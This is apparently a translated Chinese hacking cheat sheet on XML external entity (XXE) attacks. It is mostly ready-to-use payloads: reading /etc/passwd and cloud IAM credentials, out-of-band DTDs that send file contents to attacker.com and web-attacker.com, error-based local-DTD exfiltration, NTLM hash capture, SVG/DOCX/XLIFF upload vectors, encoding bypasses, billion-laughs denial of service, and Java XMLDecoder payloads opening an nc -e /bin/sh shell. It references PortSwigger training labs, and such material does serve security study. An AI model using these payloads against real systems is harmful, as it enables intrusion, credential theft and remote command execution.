XML 基础
XML 是一种用于数据存储和传输的标记语言,具有灵活的结构,允许使用描述性命名的标签。它与 HTML 的不同之处在于不受限于一组预定义标签。尽管 XML 在 AJAX 技术中的初始作用显著,但随着 JSON 的兴起,其重要性已下降。
通过实体表示数据 :XML 中的实体使得数据的表示成为可能,包括特殊字符如 <
和 >
,它们分别对应于 <
和 >
,以避免与 XML 的标签系统发生冲突。
定义 XML 元素 :XML 允许定义元素类型,概述元素应如何结构化以及可以包含哪些内容,从任何类型的内容到特定的子元素。
文档类型定义 (DTD) :DTD 在 XML 中对于定义文档的结构和可以包含的数据类型至关重要。它们可以是内部的、外部的或两者的组合,指导文档的格式和验证方式。
自定义和外部实体 :XML 支持在 DTD 中创建自定义实体,以实现灵活的数据表示。外部实体通过 URL 定义,带来了安全隐患,特别是在 XML 外部实体 (XXE) 攻击的背景下,这些攻击利用了 XML 解析器处理外部数据源的方式:<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>
使用参数实体检测 XXE :为了检测 XXE 漏洞,特别是在常规方法因解析器安全措施而失败时,可以利用 XML 参数实体。这些实体允许使用带外检测技术,例如触发 DNS 查找或向受控域发出 HTTP 请求,以确认漏洞。
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>
主要攻击
这些攻击大多是在出色的 Portswiggers XEE 实验室中测试的:https://portswigger.net/web-security/xxe
新实体测试
在此攻击中,我将测试一个简单的新 ENTITY 声明是否有效。
Copy <? xml version = "1.0" encoding = "UTF-8" ?>
<! DOCTYPE foo [<! ENTITY toreplace "3" > ]>
< stockCheck >
< productId >&toreplace;</ productId >
< storeId >1</ storeId >
</ stockCheck >
读取文件
让我们尝试以不同的方式读取 /etc/passwd
。对于 Windows,你可以尝试读取: C:\windows\system32\drivers\etc\hosts
在这种情况下,请注意 SYSTEM "**file:///**etc/passwd " 也会有效。
Copy <!--?xml version="1.0" ?-->
<! DOCTYPE foo [<! ENTITY example SYSTEM "/etc/passwd" > ]>
< data >&example;</ data >
这个第二个案例应该有助于提取文件,如果web服务器使用PHP(Portswiggers实验室的情况除外)
Copy <!--?xml version="1.0" ?-->
<! DOCTYPE replace [<! ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd" > ]>
< data >&example;</ data >
在这个第三个案例中,请注意我们将 Element stockCheck
声明为 ANY
Copy <? xml version = "1.0" encoding = "UTF-8" ?>
<! DOCTYPE data [
<!ELEMENT stockCheck ANY>
<! ENTITY file SYSTEM "file:///etc/passwd" >
]>
< stockCheck >
< productId >&file;</ productId >
< storeId >1</ storeId >
</ stockCheck3 >
目录列表
在Java 基础的应用程序中,可能通过XXE使用类似的有效负载列出目录的内容 (只请求目录而不是文件):
Copy <!-- Root / -->
<? xml version = "1.0" encoding = "UTF-8" ?><! DOCTYPE aa[<!ELEMENT bb ANY><! ENTITY xxe SYSTEM "file:///" >]>< root >< foo >&xxe;</ foo ></ root >
<!-- /etc/ -->
<? xml version = "1.0" encoding = "UTF-8" ?><! DOCTYPE root[<! ENTITY xxe SYSTEM "file:///etc/" >]>< root >< foo >&xxe;</ foo ></ root >
SSRF
XXE 可以被用来滥用云中的 SSRF
Copy <? xml version = "1.0" encoding = "UTF-8" ?>
<! DOCTYPE foo [ <! ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin" > ]>
< stockCheck >< productId >&xxe;</ productId >< storeId >1</ storeId ></ stockCheck >
Blind SSRF
使用之前提到的技术 ,您可以让服务器访问您控制的服务器,以显示其存在漏洞。但是,如果这不起作用,可能是因为不允许使用XML实体 ,在这种情况下,您可以尝试使用XML参数实体 :
Copy <? xml version = "1.0" encoding = "UTF-8" ?>
<! DOCTYPE test [ <! ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net" > %xxe; ]>
< stockCheck >< productId >3;</ productId >< storeId >1</ storeId ></ stockCheck >
"盲" SSRF - 通过带外方式提取数据
在这种情况下,我们将使服务器加载一个带有恶意负载的新 DTD,该负载将通过 HTTP 请求发送文件的内容(对于多行文件,您可以尝试通过 _ftp:// _ 来提取它,例如使用这个基本服务器 xxe-ftp-server.rb )。这个解释基于 Portswiggers 实验室 。
在给定的恶意 DTD 中,执行了一系列步骤以提取数据:
恶意 DTD 示例:
结构如下:
Copy <!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
The steps executed by this DTD include:
创建一个 XML 参数实体 %file
,读取 /etc/hostname
文件的内容。
定义另一个 XML 参数实体 %eval
。它动态声明一个新的 XML 参数实体 %exfiltrate
。%exfiltrate
实体被设置为向攻击者的服务器发起 HTTP 请求,将 %file
实体的内容作为 URL 查询字符串的一部分传递。
使用 %eval
实体,导致动态声明 %exfiltrate
实体的执行。
然后使用 %exfiltrate
实体,触发对指定 URL 的 HTTP 请求,包含文件的内容。
攻击者将这个恶意 DTD 托管在他们控制的服务器上,通常在类似 http://web-attacker.com/malicious.dtd
的 URL 下。
XXE Payload: To exploit a vulnerable application, the attacker sends an XXE payload:
Copy <? xml version = "1.0" encoding = "UTF-8" ?>
<! DOCTYPE foo [<! ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd" > %xxe;]>
< stockCheck >< productId >3;</ productId >< storeId >1</ storeId ></ stockCheck >
这个有效负载定义了一个 XML 参数实体 %xxe
并将其纳入 DTD。当被 XML 解析器处理时,这个有效负载从攻击者的服务器获取外部 DTD。然后解析器内联解释 DTD,执行恶意 DTD 中概述的步骤,导致 /etc/hostname
文件被外泄到攻击者的服务器。
基于错误(外部 DTD)
在这种情况下,我们将使服务器加载一个恶意 DTD,该 DTD 将在错误消息中显示文件的内容(仅在您可以看到错误消息时有效)。 示例来自这里。
可以通过使用恶意外部文档类型定义(DTD)触发一个 XML 解析错误消息,揭示 /etc/passwd
文件的内容。这是通过以下步骤完成的:
定义一个名为 file
的 XML 参数实体,其中包含 /etc/passwd
文件的内容。
定义一个名为 eval
的 XML 参数实体,包含对另一个 XML 参数实体 error
的动态声明。当评估时,这个 error
实体尝试加载一个不存在的文件,将 file
实体的内容作为其名称。
调用 eval
实体,导致 error
实体的动态声明。
调用 error
实体导致尝试加载一个不存在的文件,产生一个错误消息,其中包含 /etc/passwd
文件的内容作为文件名的一部分。
可以使用以下 XML 调用恶意外部 DTD:
Copy <? xml version = "1.0" encoding = "UTF-8" ?>
<! DOCTYPE foo [<! ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd" > %xxe;]>
< stockCheck >< productId >3;</ productId >< storeId >1</ storeId ></ stockCheck >
在执行时,web 服务器的响应应包含一个错误消息,显示 /etc/passwd
文件的内容。
请注意,外部 DTD 允许我们在第二个实体内部包含一个实体( eval
),但在内部 DTD 中是禁止的。因此,通常情况下,您无法强制产生错误而不使用外部 DTD。
基于错误(系统 DTD)
那么,当 出带外交互被阻止 (外部连接不可用)时,盲 XXE 漏洞怎么办?
XML 语言规范中的一个漏洞可以 通过错误消息暴露敏感数据,当文档的 DTD 混合内部和外部声明时 。这个问题允许从内部 DTD 中重新定义外部声明的实体,从而促进基于错误的 XXE 攻击的执行。这种攻击利用了一个 XML 参数实体的重新定义,该实体最初在外部 DTD 中声明,从内部 DTD 中进行重新定义。当服务器阻止出带外连接时,攻击者必须依赖本地 DTD 文件进行攻击,旨在诱发解析错误以揭示敏感信息。
考虑一个场景,服务器的文件系统中包含一个位于 /usr/local/app/schema.dtd
的 DTD 文件,定义了一个名为 custom_entity
的实体。攻击者可以通过提交一个混合 DTD 来诱发 XML 解析错误,从而揭示 /etc/passwd
文件的内容,如下所示:
Copy <! DOCTYPE foo [
<! ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd" >
<! ENTITY % custom_entity '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file'>">
%eval;
%error;
' >
%local_dtd;
]>
The outlined steps are executed by this DTD:
XML参数实体local_dtd
的定义包括位于服务器文件系统上的外部DTD文件。
对custom_entity
XML参数实体进行重新定义,该实体最初在外部DTD中定义,以封装一个基于错误的XXE漏洞 。此重新定义旨在引发解析错误,暴露/etc/passwd
文件的内容。
通过使用local_dtd
实体,外部DTD被调用,包含新定义的custom_entity
。这一系列操作导致了漏洞所针对的错误消息的发出。
Real world example: 使用GNOME桌面环境的系统通常在/usr/share/yelp/dtd/docbookx.dtd
中有一个DTD,其中包含一个名为ISOamso
的实体。
Copy <? xml version = "1.0" encoding = "UTF-8" ?>
<! DOCTYPE foo [
<! ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd" >
<! ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
' >
%local_dtd;
]>
< stockCheck >< productId >3;</ productId >< storeId >1</ storeId ></ stockCheck >
由于此技术使用内部 DTD,您需要先找到一个有效的 DTD 。您可以通过安装 服务器正在使用的相同操作系统/软件 并搜索一些默认 DTD ,或者获取系统内的默认 DTD 列表 并检查 它们是否存在:
Copy <! DOCTYPE foo [
<! ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd" >
%local_dtd;
]>
有关更多信息,请查看 https://portswigger.net/web-security/xxe/blind
在系统中查找 DTD
在以下精彩的 GitHub 仓库中,您可以找到 可能存在于系统中的 DTD 路径 :
此外,如果您拥有 受害者系统的 Docker 镜像 ,您可以使用同一仓库的工具来 扫描 镜像 并 查找 系统中存在的 DTD 路径 。请阅读 GitHub 的自述文件 以了解如何操作。
Copy java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
Scanning TAR file /tmp/dadocker.tar
[ = ] Found a DTD: /tomcat/lib/jsp-api.jar ! /jakarta/servlet/jsp/resources/jspxml.dtd
Testing 0 entities : []
[ = ] Found a DTD: /tomcat/lib/servlet-api.jar ! /jakarta/servlet/resources/XMLSchema.dtd
Testing 0 entities : []
XXE via Office Open XML Parsers
要更深入地了解此攻击,请查看 这篇精彩的文章 来自 Detectify 的第二部分 。
许多网络应用程序提供上传 Microsoft Office 文档的功能 ,然后提取这些文档中的某些细节。例如,网络应用程序可能允许用户通过上传 XLSX 格式的电子表格来导入数据。为了让解析器从电子表格中提取数据,它不可避免地需要解析至少一个 XML 文件。
要测试此漏洞,需要创建一个包含 XXE 有效负载的 Microsoft Office 文件 。第一步是创建一个空目录,以便将文档解压缩到其中。
文档解压缩后,应在首选文本编辑器(如 vim)中打开并编辑位于 ./unzipped/word/document.xml
的 XML 文件。应修改 XML 以包含所需的 XXE 有效负载,通常以 HTTP 请求开头。
修改后的 XML 行应插入到两个根 XML 对象之间。重要的是将 URL 替换为可监控请求的 URL。
最后,可以将文件压缩以创建恶意的 poc.docx 文件。从之前创建的“unzipped”目录中,应运行以下命令:
现在,可以将创建的文件上传到潜在的易受攻击的网络应用程序,并希望在 Burp Collaborator 日志中出现请求。
Jar: protocol
jar 协议仅在 Java 应用程序 中可用。它旨在启用对 PKZIP 存档(例如,.zip
、.jar
等)中的文件访问,适用于本地和远程文件。
Copy jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt
通过jar协议访问PKZIP归档文件中的文件的过程涉及几个步骤:
发出HTTP请求,从指定位置下载zip归档,例如https://download.website.com/archive.zip
。
包含归档的HTTP响应临时存储在系统上,通常在/tmp/...
这样的地方。
在第二步中中断此过程的一个有趣技术是,在提供归档文件时保持服务器连接无限期打开。可以利用这个仓库 中的工具来实现这一点,包括一个Python服务器(slow_http_server.py
)和一个Java服务器(slowserver.jar
)。
Copy <! DOCTYPE foo [<! ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd" >]>
< foo >&xxe;</ foo >
在临时目录中写入文件可以帮助升级另一个涉及路径遍历的漏洞 (例如本地文件包含、模板注入、XSLT RCE、反序列化等)。
XSS
Copy <![CDATA[<]]> script <![CDATA[>]]> alert(1) <![CDATA[<]]> /script <![CDATA[>]]>
DoS
十亿笑声攻击
Copy <! DOCTYPE data [
<! ENTITY a0 "dos" >
<! ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;" >
<! ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;" >
<! ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;" >
<! ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;" >
]>
< data >&a4;</ data >
Yaml 攻击
Copy a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
二次爆炸攻击
获取 NTML
在 Windows 主机上,可以通过设置 responder.py 处理程序来获取 web 服务器用户的 NTML 哈希:
Copy Responder.py -I eth0 -v
并通过发送以下请求
Copy <!--?xml version="1.0" ?-->
<! DOCTYPE foo [<! ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg' > ]>
< data >&example;</ data >
然后你可以尝试使用 hashcat 破解哈希
隐藏的 XXE 表现
XInclude
在将客户端数据集成到服务器端 XML 文档中时,例如后端 SOAP 请求中的文档,通常对 XML 结构的直接控制是有限的,这使得由于对修改 DOCTYPE
元素的限制,传统的 XXE 攻击受到阻碍。然而,XInclude
攻击提供了解决方案,通过允许在 XML 文档的任何数据元素中插入外部实体。即使只能控制服务器生成的 XML 文档中的一部分数据,这种方法也是有效的。
要执行 XInclude
攻击,必须声明 XInclude
命名空间,并指定所需外部实体的文件路径。以下是如何制定此类攻击的简洁示例:
Copy productId=< foo xmlns : xi = "http://www.w3.org/2001/XInclude" >< xi : include parse = "text" href = "file:///etc/passwd" /></ foo >&storeId=1
检查 https://portswigger.net/web-security/xxe 以获取更多信息!
SVG - 文件上传
用户上传到某些应用程序的文件,在服务器上处理时,可能会利用 XML 或包含 XML 的文件格式处理中的漏洞。常见的文件格式如办公文档 (DOCX) 和图像 (SVG) 基于 XML。
当用户 上传图像 时,这些图像会在服务器端进行处理或验证。即使对于期望 PNG 或 JPEG 格式的应用程序,服务器的图像处理库也可能支持 SVG 图像 。由于 SVG 是基于 XML 的格式,攻击者可以利用这一点提交恶意 SVG 图像,从而使服务器暴露于 XXE(XML 外部实体)漏洞。
下面展示了一个此类攻击的示例,其中恶意 SVG 图像试图读取系统文件:
Copy < svg xmlns = "http://www.w3.org/2000/svg" xmlns : xlink = "http://www.w3.org/1999/xlink" width = "300" version = "1.1" height = "200" >< image xlink : href = "file:///etc/hostname" ></ image ></ svg >
另一种方法涉及尝试通过 PHP "expect" 包装器 执行命令 :
Copy < svg xmlns = "http://www.w3.org/2000/svg" xmlns : xlink = "http://www.w3.org/1999/xlink" width = "300" version = "1.1" height = "200" >
< image xlink : href = "expect://ls" ></ image >
</ svg >
在这两种情况下,SVG 格式被用来发起攻击,利用服务器软件的 XML 处理能力,突显了强大输入验证和安全措施的必要性。
查看 https://portswigger.net/web-security/xxe 获取更多信息!
注意,读取文件的第一行或执行结果将出现在创建的图像内部。因此,您需要能够访问 SVG 创建的图像。
PDF - 文件上传
阅读以下帖子以了解如何利用 XXE 上传 PDF 文件:
PDF Upload - XXE and CORS bypass Content-Type: 从 x-www-urlencoded 到 XML
如果 POST 请求接受 XML 格式的数据,您可以尝试在该请求中利用 XXE。例如,如果正常请求包含以下内容:
Copy POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
foo=bar
然后您可能能够提交以下请求,结果相同:
Copy POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52
<? xml version = "1.0" encoding = "UTF-8" ?>< foo >bar</ foo >
Content-Type: 从 JSON 到 XEE
要更改请求,您可以使用一个名为“Content Type Converter ”的 Burp 扩展。 这里 您可以找到这个例子:
Copy Content-Type: application/json;charset=UTF-8
{"root": {"root": {
"firstName": "Avinash",
"lastName": "",
"country": "United States",
"city": "ddd",
"postalCode": "ddd"
}}}
Copy Content-Type: application/xml;charset=UTF-8
<? xml version = "1.0" encoding = "UTF-8" standalone = "no" ?>
<! DOCTYPE testingxxe [<! ENTITY xxe SYSTEM "http://34.229.92.127:8000/TEST.ext" >]>
< root >
< root >
< firstName >&xxe;</ firstName >
< lastName />
< country >United States</ country >
< city >ddd</ city >
< postalCode >ddd</ postalCode >
</ root >
</ root >
另一个例子可以在 这里 找到。
WAF 和保护绕过
Base64
Copy <! DOCTYPE test [ <! ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk" > %init; ]>< foo />
这仅在 XML 服务器接受 data://
协议时有效。
UTF-7
您可以在此处使用 ["Encode Recipe " of cyberchef ]([https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to ) 转换为 UTF-7。
Copy <!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
Copy <? xml version = "1.0" encoding = "UTF-7" ?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
File:/ 协议绕过
如果网站使用 PHP,可以使用 php wrappers php://filter/convert.base64-encode/resource=
来 访问内部文件 。
如果网站使用 Java,您可以检查 jar: 协议 。
HTML 实体
来自 https://github.com/Ambrotd/XXE-Notes
您可以创建一个 实体内部的实体 ,通过 html 实体 编码,然后调用它来 加载 dtd 。
请注意,使用的 HTML 实体 需要是 数字 (如 [在这个例子中](https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,'Numeric entities'%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\ ).
Copy <? xml version = "1.0" encoding = "UTF-8" ?><! DOCTYPE foo [<! ENTITY % a "<!ENTITY%dtdSYSTEM"http://ourserver.com/bypass.dtd">" >%a;%dtd;]>
< data >
< env >&exfil;</ env >
</ data >
DTD 示例:
Copy <!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>">
%abt;
%exfil;
PHP Wrappers
Base64
提取 index.php
Copy <! DOCTYPE replace [<! ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php" > ]>
提取外部资源
Copy <! DOCTYPE replace [<! ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3" > ]>
远程代码执行
如果加载了 PHP "expect" 模块
Copy <? xml version = "1.0" encoding = "ISO-8859-1" ?>
<! DOCTYPE foo [ <!ELEMENT foo ANY >
<! ENTITY xxe SYSTEM "expect://id" >]>
< creds >
< user >&xxe;</ user >
< pass >mypass</ pass >
</ creds >
SOAP - XEE
Copy < soap : Body >< foo > <![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]> </ foo ></ soap : Body >
XLIFF - XXE
这个例子灵感来源于 https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe
XLIFF(XML本地化交换文件格式)用于标准化本地化过程中的数据交换。它是一种基于XML的格式,主要用于在本地化过程中在工具之间传输可本地化数据,并作为计算机辅助翻译(CAT)工具的通用交换格式。
Blind Request Analysis
向服务器发送了以下内容的请求:
Copy ------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml
<? xml version = "1.0" encoding = "UTF-8" ?>
<! DOCTYPE XXE [
<! ENTITY % remote SYSTEM "http://redacted.burpcollaborator.net/?xxe_test" > %remote; ]>
< xliff srcLang = "en" trgLang = "ms-MY" version = "2.0" ></ xliff >
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
然而,这个请求触发了一个内部服务器错误,特别提到标记声明的问题:
Copy { "status" : 500 , "error" : "Internal Server Error" , "message" : "Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed." }
尽管出现错误,但在 Burp Collaborator 上记录了一次命中,表明与外部实体有某种程度的交互。
带外数据泄露 为了泄露数据,发送了一个修改过的请求:
Copy ------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
这种方法表明用户代理指示使用Java 1.8。这个版本的Java的一个显著限制是无法使用带外技术检索包含换行符的文件,例如/etc/passwd。
基于错误的数据外泄 为了克服这个限制,采用了基于错误的方法。DTD文件的结构如下,以触发包含目标文件数据的错误:
Copy <!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY % xxe SYSTEM 'file:///nofile/'>">
%foo;
%xxe;
服务器返回一个错误,重要的是反映了不存在的文件,表明服务器正在尝试访问指定的文件:
Copy { "status" : 500 , "error" : "Internal Server Error" , "message" : "IO error.\nReason: /nofile (No such file or directory)" }
要在错误消息中包含文件的内容,DTD 文件被调整:
Copy <!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY % xxe SYSTEM 'file:///nofile/%data;'>">
%foo;
%xxe;
此修改导致文件内容的成功外泄,因为它反映在通过HTTP发送的错误输出中。这表明成功进行了XXE(XML外部实体)攻击,利用了带外和基于错误的技术来提取敏感信息。
有效的XML格式为RSS,以利用XXE漏洞。
Ping back
简单的HTTP请求到攻击者服务器
Copy <? xml version = "1.0" encoding = "UTF-8" ?>
<! DOCTYPE title [ <!ELEMENT title ANY >
<! ENTITY xxe SYSTEM "http://<AttackIP>/rssXXE" >]>
< rss version = "2.0" xmlns : atom = "http://www.w3.org/2005/Atom" >
< channel >
< title >XXE Test Blog</ title >
< link >http://example.com/</ link >
< description >XXE Test Blog</ description >
< lastBuildDate >Mon, 02 Feb 2015 00:00:00 -0000</ lastBuildDate >
< item >
< title >&xxe;</ title >
< link >http://example.com</ link >
< description >Test Post</ description >
< author >author@example.com</ author >
< pubDate >Mon, 02 Feb 2015 00:00:00 -0000</ pubDate >
</ item >
</ channel >
</ rss >
读取文件
Copy <? xml version = "1.0" encoding = "UTF-8" ?>
<! DOCTYPE title [ <!ELEMENT title ANY >
<! ENTITY xxe SYSTEM "file:///etc/passwd" >]>
< rss version = "2.0" xmlns : atom = "http://www.w3.org/2005/Atom" >
< channel >
< title >The Blog</ title >
< link >http://example.com/</ link >
< description >A blog about things</ description >
< lastBuildDate >Mon, 03 Feb 2014 00:00:00 -0000</ lastBuildDate >
< item >
< title >&xxe;</ title >
< link >http://example.com</ link >
< description >a post</ description >
< author >author@example.com</ author >
< pubDate >Mon, 03 Feb 2014 00:00:00 -0000</ pubDate >
</ item >
</ channel >
</ rss >
读取源代码
使用 PHP base64 过滤器
Copy <? xml version = "1.0" encoding = "UTF-8" ?>
<! DOCTYPE title [ <!ELEMENT title ANY >
<! ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///challenge/web-serveur/ch29/index.php" >]>
< rss version = "2.0" xmlns : atom = "http://www.w3.org/2005/Atom" >
< channel >
< title >The Blog</ title >
< link >http://example.com/</ link >
< description >A blog about things</ description >
< lastBuildDate >Mon, 03 Feb 2014 00:00:00 -0000</ lastBuildDate >
< item >
< title >&xxe;</ title >
< link >http://example.com</ link >
< description >a post</ description >
< author >author@example.com</ author >
< pubDate >Mon, 03 Feb 2014 00:00:00 -0000</ pubDate >
</ item >
</ channel >
</ rss >
Java XMLDecoder XEE to RCE
XMLDecoder 是一个 Java 类,它根据 XML 消息创建对象。如果恶意用户能够让应用程序在调用 readObject 方法时使用任意数据,他将立即获得服务器上的代码执行权限。
Using Runtime().exec()
Copy <? xml version = "1.0" encoding = "UTF-8" ?>
< java version = "1.7.0_21" class = "java.beans.XMLDecoder" >
< object class = "java.lang.Runtime" method = "getRuntime" >
< void method = "exec" >
< array class = "java.lang.String" length = "6" >
< void index = "0" >
< string >/usr/bin/nc</ string >
</ void >
< void index = "1" >
< string >-l</ string >
</ void >
< void index = "2" >
< string >-p</ string >
</ void >
< void index = "3" >
< string >9999</ string >
</ void >
< void index = "4" >
< string >-e</ string >
</ void >
< void index = "5" >
< string >/bin/sh</ string >
</ void >
</ array >
</ void >
</ object >
</ java >
ProcessBuilder
Copy <? xml version = "1.0" encoding = "UTF-8" ?>
< java version = "1.7.0_21" class = "java.beans.XMLDecoder" >
< void class = "java.lang.ProcessBuilder" >
< array class = "java.lang.String" length = "6" >
< void index = "0" >
< string >/usr/bin/nc</ string >
</ void >
< void index = "1" >
< string >-l</ string >
</ void >
< void index = "2" >
< string >-p</ string >
</ void >
< void index = "3" >
< string >9999</ string >
</ void >
< void index = "4" >
< string >-e</ string >
</ void >
< void index = "5" >
< string >/bin/sh</ string >
</ void >
</ array >
< void method = "start" id = "process" >
</ void >
</ void >
</ java >
工具
参考资料